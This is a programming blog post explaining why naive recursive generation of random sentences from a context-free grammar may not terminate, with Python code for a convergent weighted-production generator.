shot the jeans his cat kicked his elephant I followed Joe a elephant shot Joe The problem with the simple algorithm Consider the following grammar: cfgg = CFG() cfgg.add_prod('S', 'S S S S | a') It has a single nonterminal, S and a single terminal a. Trying to generate a random sentence from it sometimes results in a RuntimeError exception being thrown: maximum recursion depth exceeded while calling a Python object. Why is that? Consider what happens when gen_random runs on this grammar. In the first call, it has a 50% chance of selecting the S S S S production and a 50% chance of selecting a. If S S S S is selected, the algorithm will now recurse 4 times into each S. The chance of all those calls resulting in a is just 0.0625, and there's a 0.9375 chance that at least one will result in S and generate S S S S again. As this process continues, chances get slimmer and slimmer that the algorithm will ever terminate. This isn't good. You may now think that this is a contrived example and real-life grammars are more well-behaved. Unfortunately this isn't the case. Consider this (rather ordinary) arithmetic expression grammar: cfg2 = CFG() cfg2.add_prod('EXPR', 'TERM + EXPR') cfg2.add_prod('EXPR', 'TERM - EXPR') cfg2.add_prod('EXPR', 'TERM') cfg2.add_prod('TERM', 'FACTOR * TERM') cfg2.add_prod('TERM', 'FACTOR / TERM') cfg2.add_prod('TERM', 'FACTOR') cfg2.add_prod('FACTOR', 'ID | NUM | ( EXPR )') cfg2.add_prod('ID', 'x | y | z | w') cfg2.add_prod('NUM', '0|1|2|3|4|5|6|7|8|9') When I try to generate random sentences from it, less than 30% percent of the runs terminate [2]. The culprit here is the ( EXPR ) production of FACTOR. An expression can get expanded into several factors, each of which can once again result in a whole new expression. Just a couple of such derivations can be enough for the whole generation process to diverge. And there's no real way to get rid of this, because ( EXPR ) is an essential derivation of FACTOR, allowing us to parse expressions like 5 * (1 + x). Thus, even for real-world grammars, the simple recursive approach is an inadequate solution. [3] An improved generator: convergence We can employ a clever trick to make the generator always converge (in the mathematical sense). Think of the grammar as representing an infinite tree: The bluish nodes represent nonterminals, and the greenish nodes represent possible productions. If we think of the grammar this way, it is obvious that the gen_random method presented earlier is a simple n-nary tree walk. The idea of the algorithm is to attach weights to each possible production and select the production according to these weights. Once a production is selected, its weight is decreased and passed recursively down the tree. Therefore, once the generator runs into the same nonterminal and considers these productions again, there will be a lower chance for the same recursion to occur. A diagram shows this best: Note that initially all the productions of expr have the same weight, and will be selected with equal probability. Once term - expr is selected, the algorithm takes note of this. When the same choice is presented again, the weight of term - expr is decreased by some factor (in this case by a factor of 2). Note that it can be selected once again, but then for the next round its weight will be 0.25. This of course only applies to the same tree branch. If term - expr is selected in some other, unrelated branch, its weight is unaffected by this selection. This improvement solves the divergence problem of the naive recursive algorithm. Here's its implementation (it's a method of the same CFG class presented above): def gen_random_convergent(self, symbol, cfactor=0.25, pcount=defaultdict(int) ): """ Generate a random sentence from the grammar, starting with the given symbol. Uses a convergent algorithm - productions that have already appeared in the derivation on each branch have a smaller chance to be selected. cfactor - controls how tight the convergence is. 0 < cfactor < 1.0 pcount is used internally by the recursive calls to pass on the productions that have been used in the branch. """ sentence = '' # The possible productions of this symbol are weighted # by their appearance in the branch that has led to this # symbol in the derivation # weights = [] for prod in self.prod[symbol]: if prod in pcount: weights.append(cfactor ** (pcount[prod])) else: weights.append(1.0) rand_prod = self.prod[symbol][weighted_choice(weights)] # pcount is a single object (created in the first call to # this method) that's being passed around into recursive # calls to count how many times productions have been # used. # Before recursive calls the count is updated, and after # the sentence for this call is ready, it is rolled-back # to avoid modifying the parent's pcount. # pcount[rand_prod] += 1 for sym in rand_prod: # for non-terminals, recurse if sym in self.prod: sentence += self.gen_random_convergent( sym, cfactor=cfactor, pcount=pcount) else: sentence += sym + ' ' # backtracking: clear the modification to pcount pcount[rand_prod] -= 1 return sentence An auxiliary weighted_choice function is used: def weighted_choice(weights): rnd = random.random() * sum(weights) for i, w in enumerate(weights): rnd -= w if rnd < 0: return i Note the cfactor parameter of the algorithm. This is the convergence factor - the probability by which a weight is multiplied each time it's been selected. Having been selected N times, the weight becomes cfactor to the power N. I've plotted the average length of the generated sentence from the expression grammar as a function of cfactor: As expected, the average length grows with cfactor. If we set cfactor to 1.0, this becomes the naive algorithm where all the productions are always of equal weight. Conclusion While the naive algorithm is suitable for some simplistic cases, for real-world grammars it's inadequate. A generalization that employs weighted selection using a convergence factor provides a much better solution that generates sentences from grammars with guaranteed termination. This is a sound and relatively efficient method that can be used in real-world applications to generate complex random test cases for parsers.
http://eli.thegreenplace.net/2010/01/28/generating-random-sentences-from-a-context-free-grammar/
CC-MAIN-2015-32
refinedweb
1,412
57.87
Im brand new to python and im working on a script to run to automatically download some files from a set of URL's. In these URL's i have put brackets that I have defined since these 3 lines in the url needs to changed (1 unix timestamp, start date and end date). This is all fixed. Now ive gotten it to work with the following: - Code: Select all def get_file(url, filename): end_date = datetime.now().strftime("%Y-%m-%d") start_date = datetime.now()-timedelta(days=7) start_date = start_date.strftime("%Y-%m-%d") current_timestamp = int(time()) formatted_url = url.format(current_timestamp, start_date, end_date) print(start_date) print(end_date) print(formatted_url) data = requests.get(formatted_url) data.raise_for_status() with open(filename, "wb") as f: f.write(data.content) This takes todays date and 7 days in the past. Now what i would like to do is change this to be changeable? So I can set my own dates instead. Eventually I want to make a GUI on this (I have no idea where to start with the GUI but ill get there eventually!). Any ideas on how i cancode this so that I can choose dates? It would be prefered that in the code I just open it and then have a certain string i manually set the date and then run the script. I may be rambling but hopefully someone knows what to do.
http://www.python-forum.org/viewtopic.php?p=14535
CC-MAIN-2014-42
refinedweb
231
75.61
greenvertexMember Content count79 Joined Last visited Community Reputation510 Good About greenvertex - RankMember Help with learning C# greenvertex replied to blade55555's topic in For BeginnersIf you're looking to do games in C# I say just jump in. If you have even a marginal background in C++ (which it seems like you do) you'll have no problem understanding C#. Start [url=""]here[/url], there's a lot of tutorials and code samples to look through. Get a few of those working and if you're not satisfied with your understanding of the language I've never had any complaints about the [url=""]O'Reilly[/url] series of books. Call for Design Comments greenvertex posted a topic in General and Gameplay ProgrammingI'd really like some opinions on the following idea: [CODE] struct DXBundle { ID3D11Device* device; ID3D11DeviceContext* context; D3D_FEATURE_LEVEL* featureLevel; DXBundle() { UINT createFlags = 0; #if _DEBUG createFlags |= D3D11_CREATE_DEVICE_DEBUG; #endif return D3D11CreateDevice( 0, D3D_DRIVER_TYPE_HARDWARE, 0, createFlags, 0, 0, D3D11_SDK_VERSION, device, featureLevel, context); } ~DXBundle() { if(context) { context->ClearState(); context->Flush(); context->Release(); } if(device) { device->Release(); } } }; [/CODE] There's a couple places I could see using this, the above example is a simple one that appears fairly convenient. Automatic construction and release at the cost of a dot operator seems like a fair trade. Anyone know of any reasons to avoid creating little "construction wrappers" like this? Note: I've left out copy and copy assign intentionally for readability, that and the jury's still out on how I want to handle them in this particular instance... Sharing C++ object between application and plugin with C interface greenvertex replied to floatingwoods's topic in General and Gameplay ProgrammingThen don't. If you have some complex operation to perform on each node's buffer that is generic enough to reside in an external library, have that operation take as an argument the address and length of the buffer. No serialization required. Sharing C++ object between application and plugin with C interface greenvertex replied to floatingwoods's topic in General and Gameplay ProgrammingNot necessarily, you can write an algorithm that traverses the object tree in client code, applying some algorithm from your shared library to each node. Again, it's not a "fix all" function call, but it's still beneficial to assume as little as you can about client code from a library. Sharing C++ object between application and plugin with C interface greenvertex replied to floatingwoods's topic in General and Gameplay Programming[CODE] extern "C" __declspec(dllexport) void pluginEntryFunction(void* _theObject) { // Following is wrong and dangerous: myClass* theObject=(myClass*)_theObject; } [/CODE] That seems incredibly generic to me. Maybe that's why you're running into issues? Instead maybe prefer something long the lines of: [CODE] extern "C" __declspec(dllexport) void pluginParseBuffer(char* theBuffer) { //Do something... } [/CODE] It's not a good idea to define the same type in and out of your library for exactly the reasons you described. While breaking up a generic function into more specific operations is certainly more verbose on the client's end, they can always be wrapped in a function to perform the appropriate calls in order there. Need advice on how to start creating a 3d turn based strategy game greenvertex replied to Fidrik's topic in For Beginners[quote]But would I be better off learning how to make my own engine, or using one like unity? and would it be easier to do it 2-d?[/quote] You would be better off using an engine, commercial or otherwise. You're going to find yourself not making any real progress for a long time if you decide to roll your own. Most times this leads to dead projects, those that don't die don't end up having what's generally considered an engine running them... It would be easier to do something in 2D. The math is easier, there are plenty of environments to work in, and there are a lot fewer problems to deal with. If 2D is where you what you want to do, don't use Unity, it's very much ill suited for 2D games. Performance issues in simple program greenvertex replied to kaktusas2598's topic in General and Gameplay ProgrammingNot really sure how much of a hint you want here but there's an abstract data type very suited to this type of search. I won't name it, but the next paragraph contains problem spoilers (if that's such a thing...):. Performance issues in simple program greenvertex replied to kaktusas2598's topic in General and Gameplay ProgrammingYea disregard what I said, Olof is correct. You're not accessing the majority of pages so your memory allocation is indeed not causing the problem. I still disagree with the magnitude of the allocation though... Performance issues in simple program greenvertex replied to kaktusas2598's topic in General and Gameplay ProgrammingYea that's going to be extremely slow for large numbers. You're reserving memory for num integers when really you only need memory proportional to the number of prime factors of num at the end of the day. So if you entered 1,000,000 you're looking at almost 4 megs of RAM reserved, roughly 797 [url=""]pages[/url]. As you iterate through all that, your swapping pages constantly from CPU cache to memory and visa versa. That's generally a slow(ish) operation.... How to contain this data? greenvertex replied to MadHaTr's topic in For BeginnersSome sort of [url=""]graph[/url] (with weighted edges) might be a good choice. Each city is a node that contains a list of edges to other nodes (cities) that give possible routes as well as distance. This could even be a [url=""]DAG[/url] with weighted edges so long as you view all routes uniformly (a route from A to B is the same as the route from B to A). Quaternion Questions greenvertex replied to Overdunn's topic in For Beginners[url=""]This [/url]is probably one of the better resources I've found on the subject. [quote]1. How do you visualize a quaternion? It's simple to imagine a vector and rotation around a vector. But how do you visualize a + bj + ck + dl? What does each component represent (visually)? For example, I'm having a hard time imagining what adjusting the scalar component or any of the complex parts does to my rotation.[/quote] In short? You don't. Our 3D experience doesn't lend itself readily to considering hyperspheres and such. Work on understanding the operations you need instead. [quote]2. I have found several equations for converting a quaternion to a 4x4 matrix. I was therefore considering using a single quaternion to represent my camera instead of the code above. However, I'm not sure I understand how. For example, how are pitch, yaw, roll, and a vector all contained within 4 values? I'm definitely missing something here.[/quote] [url=""]This[/url] seems like a good set of implementations for common quaternion uses. [quote]3. Does an implementation using quaternions come with an implicit performance hit? It seems translating provided angles into a quaternion, then into a matrix, and finally multiplying that matrix with the MODELVIEW is expensive.[/quote] Yes, there is overhead, but you're saving in other places by eliminating some vector-matrix multiplication. Map of console rpg greenvertex replied to mayoscuro's topic in For BeginnersYou're only assigning the first value in each of your lists to tablero[...][y]. Each of those values just happens to be an 'H' so you're filling your entire set of vectors with 'H' and ignoring all the other values. You might want to look at putting all that information in a text file like: HHHHHHHHHHHHHHHHHHH HPHHHHH OHHHHHH H H HHHHHHHHHHH H H HHHE HHH B M H E HHH HHHH HHHHHH HHHHHHH HHHH HHHHHH HHHHHHH HHHH HHHHHH HHHHHHH E HHHHHH HHHHHHHHHHHHHHHHHHH And using [url=""]file i/o[/url] to read them into a vector of chars (not ints as you were doing - though they'd work, it's wasted space). This will solve two problems: First, you can't initialize with, or assign to, a std::vector an initializer list (which is what you sort of appear to be trying to do). Second, you can have multiple maps without defining a new function for each map and these maps will be easier to read while you're making them. Lower bounds on the complexity of problems greenvertex replied to godmodder's topic in General and Gameplay Programming[quote]So, do you think it was naive of me to suppose I could determine the complexity bounds before discovering the actual algorithm? Or should I keep defending this as a possibility in my project?[/quote] Not necessarily naive, if you can determine the class of some undetermined algorithm you could prove some asymptotic lower bound to that class as in the sorting example above. But, barring that, I don't believe it's generally possible beyond the most generic assumption of big-omega(1). Handling exceptions in stl containers. greenvertex replied to Ryan_001's topic in General and Gameplay ProgrammingTake a look at xmemory and xmemory0 if you want to see how std containers manage it in VS2012. They will throw bad_alloc if there is one (note the absence of a "throw()" on push_back), there is no error handling within the container itself. Lower bounds on the complexity of problems greenvertex replied to godmodder's topic in General and Gameplay ProgrammingEven with your sorting example, you already partially knew the algorithm: you must iterate though all elements at least once, leading to an asymptotic lower bound of big-omega(n). Presupposing absolutely nothing about an algorithm would lead to big-omega(1) I suppose, but that's not terribly meaningful or accurate in most cases. You could make somewhat general statements about classes of algorithms given you know at least the data it operates on (as in sort above): Vector-based algorithms will be big-omega(n). Matrix-based algorithms will be big-omega(n[sup]2[/sup]) etc. Note, these are all asymptotic lower bounds. Generally the least interesting of the bounds family. You wouldn't really be able to say anything about theta or O as far as I know, as determining an upper bound on an unknown is seemingly impossible.
https://www.gamedev.net/profile/201504-greenvertex/?/user/201504-greenvertex/page__tab__smrep?p=1&st=60&tab=smrep?p=1%26st=60
CC-MAIN-2018-05
refinedweb
1,730
50.36
Your Account by Paul Browne. 1) Implementing generics 2) The relationship between class loaders and namespaces as described in Liang and Bracha's paper 3) Annotations. Regards, Markus I also think that you might want to mention continuous integration tools like Cruise Control. I think you should either change the title of the course, or create a different list of topics. For "Advanced Java" I'd expect topics about the Java language and the Java platform, like:. I would also do a refresher on inheritance and other basic Object Orientated concepts. I have worked with people in the past that can write Java code but don't understand the basics concepts of overriding methods and inheritance.. Thanks Rocky Once again , thanks , and I think the course will be better for your contributions. Advanced (applied Java) will have areas of interest to different people - the intention is to offer a menu and concentrate of what people want. Paul Alternatives to JSP? (e.g. Velocity). Code generation techniques are useful. Also, how about good coding techniques as opposed to advanced technologies; anything from Joshua Bloch's 'Effective Java' would be a good starting place. The list seems to have more to do with current trends, fashions and third party tools/API than real Java language features. To me advanced means Generics, Threading, Unit Testing, Classloader etc.. Everybody else (who were brave enough to leave your name) - thanks for your suggestions. © 2017, O’Reilly Media, Inc. (707) 827-7019 (800) 889-8969 All trademarks and registered trademarks appearing on oreilly.com are the property of their respective owners.
http://archive.oreilly.com/pub/post/advanced_java_whats_your_opini.html
CC-MAIN-2018-13
refinedweb
265
57.06
Talks Memos Publications This page collects a variety of general facts about the scuff-em suite and the application programs it contains. Many of the standalone programs in the scuff-em suite have options for which you may specify complex numbers. (An example is the --omega option accepted by scuff-scatter and other programs, for which you may specify complex or even pure imaginary numbers to do calculations at complex frequencies.) --omega To specify a complex number as a parameter value, write both the real and imaginary parts together as a single string (no spaces), separated by + or -, with the imaginary part terminated by i or I (you may also use j or J). For example, all of the following are valid frequency specifications: + - i I j J --omega 2.3+4.5i --omega 2.3 --omega 4.5j --omega 12.3e2+45.4e2I Complex numbers in the scuff-em C++ API are represented by the type cdouble: cdouble: typedef std::complex cdouble; You can convert character strings to cdoubles, and vice-versa, using the S2CD and CD2S routines in libscuff: cdoubles S2CD CD2S cdouble Omega; int Error = CD2S("3.4+5.6i", &Omega); printf("Omega = %s.\n",CD2S(Omega)); All of the standalone applications in the scuff-em suite allow their command-line options to be passed via a text file fed into standard input. Each line of this text file should consist of a single command-line option (minus the -- at the beginning) followed by any arguments the option might take. -- For example, running the scuff-scatter code with the command-line options % scuff-scatter --geometry Spheres.scuffgeo --omega 1.0 --pwPolarization 1 0 0 --pwDirection 0 0 1 --EPFile MyEPFile is equivalent to running % scuff-scatter < MyOptionsFile where the file MyOptionsFile looks like this: MyOptionsFile # options for scuff-scatter geometry Spheres.scuffgeo omega 1.0 pwPolarization 1 0 0 pwDirection 0 0 1 EPFile MyEPFile Note that blank lines and comments (lines starting with #) are ignored. # You may also combine the two methods of specifying options by passing some options via text file and others on the command line. If there are any conflicts, the values specified on the command line take precedence. For instance, to re-run the example above at a new frequency with everything else unchanged, you could say % scuff-scatter --Omega 2.0 < MyOptionsFile Note that if you will be doing calculations at more than one frequency on the same structure, you will definitely want to make use of geometric data caching, as discussed below. The application codes in the scuff-em suite write information to log files that you can use to monitor the progress of your calculations. These log files are named application-name.log (for example, scuff-scatter.log, scuff-rf.log, etc.) and are created in the directory from which you launched the code run. .log scuff-scatter.log scuff-rf.log Here's a snippet of a log file created by scuff-scatter: scuff-scatter: 03/16/12::20:46:26: Assembling the BEM matrix at Omega=0.234... 03/16/12::20:46:26: 00 % (0/654)... 03/16/12::20:46:53: 10 % (65/654)... 03/16/12::20:47:13: 20 % (130/654)... 03/16/12::20:47:35: 30 % (196/654)... 03/16/12::20:47:55: 40 % (261/654)... 03/16/12::20:48:10: 50 % (327/654)... 03/16/12::20:48:23: 60 % (392/654)... 03/16/12::20:48:38: 70 % (457/654)... 03/16/12::20:48:55: 80 % (523/654)... 03/16/12::20:49:12: 201634/20840 cache hits/misses 03/16/12::20:49:12: LU-factorizing BEM matrix... 03/16/12::20:49:13: Assembling the RHS vector... 03/16/12::20:49:13: Solving the BEM system... 03/16/12::20:49:13: Computing scattered and absorbed power... 03/16/12::20:49:13: Assembling the BEM matrix at Omega=0.456... 03/16/12::20:49:13: 00 % (0/654)... 03/16/12::20:49:36: 10 % (65/654)... You can use the tail command to monitor the progress of a code in real time. For example, if you just launched a scuff-scatter run from a terminal window, you can open up a new terminal window and say tail % tail -f scuff-scatter.log This will dump to console a running list of the various steps in the scuff-scatter calculation. This is useful, among other things, for giving you a sense of how much time is being consumed by the various stages in the problem -- assembling the BEM matrix, assembling the RHS vector, computing scattered fields, etc. You can also combine real-time monitoring of the .log file with status-monitoring commands like top or htop to ensure that scuff-em is taking maximal advantage of your machine's CPU resources during the most CPU-intensive portions of the computation. In particular, when real-time monitoring of the .log file indicates that the code is in the process of assembling the BEM matrix (in the above .log file example, this would be between 20:46:26 and 20:49:12), running the top command should bring up a display something like this: top htop 20:46:26 20:49:12 The point of this display is that, for a machine with 8 CPU cores, the CPU usage reported by top should be around 800% during the BEM matrix assembly. If, instead, you see a number closer to 100%, then either (a) scuff-em was not properly compiled with the multithreading libraries available on your machine, or (b) you need to tweak the environment variables to achieve maximal performance. For example, on my workstation, I need to set the following environment variable to encourage openmp to use all 8 of my CPU cores: % export GOMP_CPU_AFFINITY=0-7 To write a line of status information to the log file, use the Log API function, which accepts printf- style format semantics. (Note the absence of a training newline.) Log printf- Log("Run %i: Beginning optimization phase ... ",Index); By default, logging is disabled (and calls to Log have no effect). To enable logging, define the name of the log file using the SetLogFileName API function: SetLogFileName SetLogFileName("MyProgram_Run%i.log",RunIndex); A very important feature of scuff-em is its ability to reuse geometric data on meshed surfaces to accelerate repeated computations. In particular, if your calculation does a calculation at one frequency and then repeats the calculation at a second frequency, the second calculation will be significantly faster, because much of the first computation can be reused. This feature is automatically enabled within any single run of a scuff-em program. Thus, for example, if you run scuff-scatter with a list of two or more frequencies, then the second, third, etc. frequencies will automatically be faster than the first. However, it is also possible to reuse information between runs -- so that, for example, if you have already done a scuff-scatter run on a given geometry, then you can do a second run of the code on that same geometry with geometric data from the first run reused to speed things up. The feature that enables the reuse of geometric data between runs is called caching. The simplest way to use it is to pass the command-line argument --cache MyCacheFile.cache to scuff-scatter and the other application codes. (Replace MyCacheFile.cache with whatever cache filename you like.) This option has the following effect: --cache MyCacheFile.cache MyCacheFile.cache Thus, if you create a new .scuffgeo file and run a bunch of scuff-scatter calculations on it, you should add --cache MyCacheFile.cache to whatever other command-line options you have; the cache file will be created after the first code run, and then all subsequent runs involving that geometry will be accelerated. .scuffgeo --cache MyCacheFile.cache Here are a couple of facts about geometric data caching in scuff-em. MATERIAL For details of how caching is implemented in scuff-em, see the scuff-em technical memo. The file specified by the --cache option serves a dual purpose as both the cache input file (if it exists when the code starts up) and the cache dump file when the code finishes. In some cases, it may be convenient to specify separate file names (for example, if you want to preload from two or more cache files, or if you want to write to a new cache file without overwriting an existing cache file.) For this purpose, the scuff-em application codes support the separate command-line options --ReadCache and --WriteCache. (--ReadCache may be specified multiple times to preload from multiple cache files.) Using the simpler --Cache option is equivalent to specifying --ReadCache and --WriteCache with the same cache file names. --cache --ReadCache --WriteCache. --Cache --WriteCache Use the API functions PreloadCache and StoreCache to preload from, and store to, a cache file. These functions each take a single const char * argument (the name of the cache file) and have no return value. If the specified file does not exist, PreloadCache will simply print a console warning message and return, while StoreCache will create it anew. If the file does exist, PreloadCache will attempt to read cache information from it, while StoreCache will overwrite it. PreloadCache StoreCache const char * C++ example: #include using namespace scuff; ... PreloadCache("MyFirstCache.scuffcache"); PreloadCache("MySecondCache.scuffcache"); G = new RWGGeometry("MyGeometry.scuffgeo"); // do a bunch of calculations StoreCache("MyCache.scuffcache"); Python example: import scuff; scuff.PreloadCache("MyFirstCache.scuffcache"); scuff.PreloadCache("MySecondCache.scuffcache"); G = scuff.RWGGeometry("MyGeometry.scuffgeo"); // do a bunch of calculations scuff.StoreCache("MyCache.scuffcache");
http://homerreid.dyndns.org/scuff-EM/reference/scuffEMMisc.shtml
CC-MAIN-2018-17
refinedweb
1,606
55.84
#include <DGtal/geometry/curves/FrechetShortcut.h> Class backpath: data structures and methods to handle the backpath update Definition at line 133 of file FrechetShortcut.h. Definition at line 164 of file FrechetShortcut.h. Attributes of occulter points: angles min and max for which the point is an occulter Map between the point and their attributes if they are occulters Definition at line 156 of file FrechetShortcut.h. Default constructor Constructor Copy constructor Destructor Updates the backpath when a negative poitn is added Updates the backpath when a positive point is added Assignement Resets the backpath (myFlag, myOcculters) General update procedure: call to addNegativePoint or addPositivePoint according to the point *myIt. Each octant is treated as if it was the first one, the chain code between *myIt-1 and *myIt is rotated accordingly. Updates the list of intervals Updates the list of occulters Definition at line 159 of file FrechetShortcut.h. Current state myFlag=true if we are on a backpath, false otherwise Definition at line 175 of file FrechetShortcut.h. List of forbidden intervals: intervals of angle for which there exist a backpath of length greater than the error Definition at line 183 of file FrechetShortcut.h. pointer to the next point to be scanned: set to myEnd + 1 Definition at line 188 of file FrechetShortcut.h. Definition at line 177 of file FrechetShortcut.h. Octant of work Definition at line 169 of file FrechetShortcut.h. Pointer to the FrechetShortcut Definition at line 139 of file FrechetShortcut.h.
https://dgtal.org/doc/1.0/classDGtal_1_1FrechetShortcut_1_1Backpath.html
CC-MAIN-2021-39
refinedweb
248
51.89
from)) from skmultiflow.drift_detection import PageHinkley data_stream = np.concatenate((np.random.randint(2, size=1000), np.random.randint(4, size=1000))) ph = PageHinkley() for i, val in enumerate(data_stream): ph.add_element(val) if ph.detected_change(): print('Change has been detected in data: ' + str(data_stream[i]) + ' - of index: ' + str(i)) ph.reset() skmultiflow.data.DataStream sklearn.neighbor.KernelDensityalongisde scikit-multiflow. As you mention the sklearn implementation works in batches of data, if you wan to update the densities you have to define data update strategy. This is very similar to how the KNNClassifieris implemented. You will see there that the data is stored in a sliding window. Regarding drift detection, ADWIN as all other drift detectors take as input 1-dimensional data. You can check the KNNADWINClassifierwhich uses ADWIN to monitor the classification performance of the basic KNN model. If ADWIN detects a change in classification performance, then the model is reset. Hi @dossy , here is one from skmultiflow.data import DataStream import numpy as np n_features = 10 n_samples = 50 X = np.random.random(size=(n_samples, n_feature y = np.random.randint(2, size=n_samples) stream = DataStream(data=X, y=y) # stream.prepare_for_use() # if using the stable version (0.4.1) stream.n_remaining_samples() Last line return 50 numpy.ndarray np.ndarrayas long as you define the index of the target column (last column by default). pandas.DataFrameare also supported, following the same indications. scikit-multiflowis only a small part of the puzzle and there’s a lot of stuff you have to develop yourself around it? I know this is a n00b question, but if I’m working with strings, I have to vectorize them first? I can’t just pass in a pandas.DataFramecontaining strings - only real/int values? All questions are welcomed. Currently, we only support numerical data. Your data must be pre-processed. As you mention, scikit-multiflow is focused on the learning part. The idea is that you can take it and integrate it as part of your workflow. scikit-multiflowprocesses data one sample at a time. We provide the FileStreamand DataStreamclasses for the case when you have data in a file or in memory. Both are extensions of the Streamclass. If you want to read from log file you could process each log as it arrives (convert to numerical values) and the pass it to a model. The operation to receive and process the log entry can be wrapped in an extension of the Streamclass. The most relevant method is next_sample. Hi, I am building a HoeffdingTree classifier on a heavily imbalanced data stream (only ~1 in 1000 data points are of the positive class). Using the EvaluatePrequential evaluator I am able to plot the precision and recall, however, the recall is extremely low as the model learns to predict the negative class almost always (only 50 positive predictions in my stream of 10 million data points). Tree classifiers often give me class probabilities rather than discrete class outputs, and the actual recall (and precision) is of course threshold-dependent. Is there a way to control the threshold for which I am evaluating the recall?
https://gitter.im/scikit-multiflow/community?at=5eb0e39214b48f0698ad3ef3
CC-MAIN-2022-27
refinedweb
518
50.94
Variables A statement such as x = 5 seems obvious enough. As you would guess, we are assigning the value of 5 to x. But what exactly is x? x is a variable.. In this section, we are only going to consider integer variables. An integer is a whole number, such as 1, 2, 3, -1, -12, or 16. An integer variable is a variable that can only hold an integer value. In order to declare a variable, we generally use a declaration statement. Here’s an example of declaring variable x as an integer variable (one that can hold integer values): int x; When this statement is executed by the CPU, a piece of memory from RAM will be set aside. For the sake of example, let’s say that the variable x is assigned memory location 140. Whenever the program sees the value x in an expression or statement, it knows that it should look in memory location 140. One of the most common operations done with variables is assignment. To do this, we use the assignment operator, more commonly known as equals, more commonly known as the = symbol. When the CPU executes a statement such as x = 5;, it translates this to “put the value of 5 in memory location 140″. Later in our program, we could print that value to the screen using cout: cout << x; // prints the value of x (memory location 140) to the console In C++, variables are also known as l-values (pronounced ell-values). it’s value can not be reassigned. When an l-value has a value assigned to it, the current value is overwritten. The opposite of l-values are r-values. An r-value refers to any value that can be assigned to an l-value. r-values are always evaluated to produce a single value. Examples of r-values are single numbers (such as 5, which evaluates to 5), variables (such as x, which evaluates to whatever number was last assigned to it), or expressions (such as 2+x, which evaluates to the last value of x plus 2). Here is an example of some assignment statements, showing how the r-values evaluate:. There are two important things to note. First, there is no guarantee that your variables will be assigned the same memory address each time your program is run. The first time you run your program, x may be assigned to memory location 140. The second time, it may be assigned to memory location 168. Second, when a variable is assigned to a memory location, the value in that memory location is undefined (in other words, whatever value was there last is still there). This can lead to interesting (and by interesting, we mean dangerous) results. Consider the following short program: // ; } In this case, the computer will assign some unused memory to x. It will then send the value residing in that memory location to cout, which will print the value. But what value will it print? The answer is “who knows!”. You can try running this program in your compiler and see what value it prints. To give you an example, when we ran this program with an older version of the Visual Studio compiler, cout printed the value -858993460. Some newer compilers, such as Visual Studio 2005 Express will pop up a debug error message if you run this program from within the IDE.. For example, compiling the above program on Visual Studio 2005 express produced the following warning: c:\vc2005projects\test\test\test.cpp(11) : warning C4700: uninitialized local variable 'x' used A good rule is to always assign values to variables when they are declared. C++ makes this easy by letting you assign values on the same line as the declaration of the variable: int x = 0; // declare integer variable x and assign the value of 0 to it. This ensures that your variable will always have a consistent value, making it easier to debug if something goes wrong somewhere else.: int cats = -1; Having -1 cats makes no sense. So if later, we did this: cout << cats << " cats" << endl; and it printed “-1 cats”, we know that the variable was never assigned a real value correctly. Rule: Always assign values to your variables when you declare them. We will discuss variables in more detail in an upcoming section. cin cin is the opposite of cout: whereas cout prints data to the console, cin reads data from the console. Now that you have a basic understanding of variables, we can use cin to get input from the user and store it in a variable. //#include "stdafx.h" // Uncomment this line if using Visual Studio #include <iostream> int main() { using namespace std; cout << "Enter a number: "; // ask user for a number int x; cin >> x; // read number from console and store it in x cout << "You entered " << x << endl; return 0; } Try compiling this program and running it for yourself. When you run the program, it will print “Enter a number: ” and then wait for you to enter one. Once you enter a number (and press enter), it will print “You entered ” followed by the number you just entered. This is an easy way to get input from the user, and we will use it in many of our examples going forward. Quiz What values does this program print? int x = 5; x = x - 2; cout << x << endl; // #1 int y = x; cout << y << endl; // #2 // x + y is an r-value in this context, so evaluate their values cout << x + y << endl; // #3 cout << x << endl; // #4 int z; cout << z << endl; // #5 Quiz Answers To see these answers, select the area below with your mouse. [...] This lesson builds directly on the material in the section “A first look at variables“. [...] [...] the lesson a first look at variables, you learned that any value on the left hand side of an assignment statement must be an l-value [...] The Code: #include “stdafx.h” #include int main() { using namespace std; cout > x; // read number from console and store it in x cout It Dosent Work Lol, two things: 1) When posting code, use the PRE html tags or wordpress will eat it. 2) It works fine for me, and I just retested it in two different compilers. What compiler are you using, and what happens when you try to compile/run the code? When i try and run the code to enter a number and have it be displayed it isn’t working right. A box opens and it asks my number and i type it in and the box just closes. Not sure what im doing wrong. [ Kyle, See this link -Alex ] If you want the window to pause, use the following command: system(”pause”); It doesent Work. When is Try it says inter number here i enter the number and the Prg Closes :(! When i run that prog with uninitialized variable it keeps printing 2 every time…... ehhh, i hate vista >. Just add a pause at the bottom to see the result, such as: Hello im a begginer with this program, and i have the problem that sometimes when i runing the program. It wont start it just says cant find file a error message. Please tell me what the problem is!! [ Please repost your code inside <pre></pre> tags, or even better, post it in the forums. -Alex ] When you use the cout call from the output stream the directional indicator needs to be < . The > is for the cin call from the library. Use coutx.. [...] 1.3 — A first look at variables (and cin) [...] [...] 2007 Prev/Next Posts « Tiga 1.0.2 widget fix for WordPress 2.2 | Home | 1.3 — A first look at variables (and cin) » Wednesday, May 30th, 2007 at 4:17 [...] This needs to be more noob friendly. I don’t understand most of it, due to your obscure way of phrasing things. Please explain things so that normal people can understand. >>Coconut Maybe you should give an example of what you don’t understand instead of just pouting. People could then help you to understand.
http://www.learncpp.com/cpp-tutorial/13-a-first-look-at-variables/
crawl-001
refinedweb
1,359
71.65
#include <comedilib.h> int comedi_mark_buffer_read (comedi_t * device, unsigned int subdevice, unsigned int num_bytes); The function comedi_mark_buffer_read() is used on a subdevice that has a Comedi input command in progress. It should only be used if you are using a mmap() (as opposed to calling read() on the device file) to read data from Comedi's buffer, since Comedi will automatically keep track of how many bytes have been transferred via read() calls. This function is used to indicate that the next num_bytes bytes in the buffer are no longer needed and may be discarded. If there is an error, -1 is returned.
http://www.makelinux.net/man/3/C/comedi_mark_buffer_read
CC-MAIN-2014-42
refinedweb
102
63.02
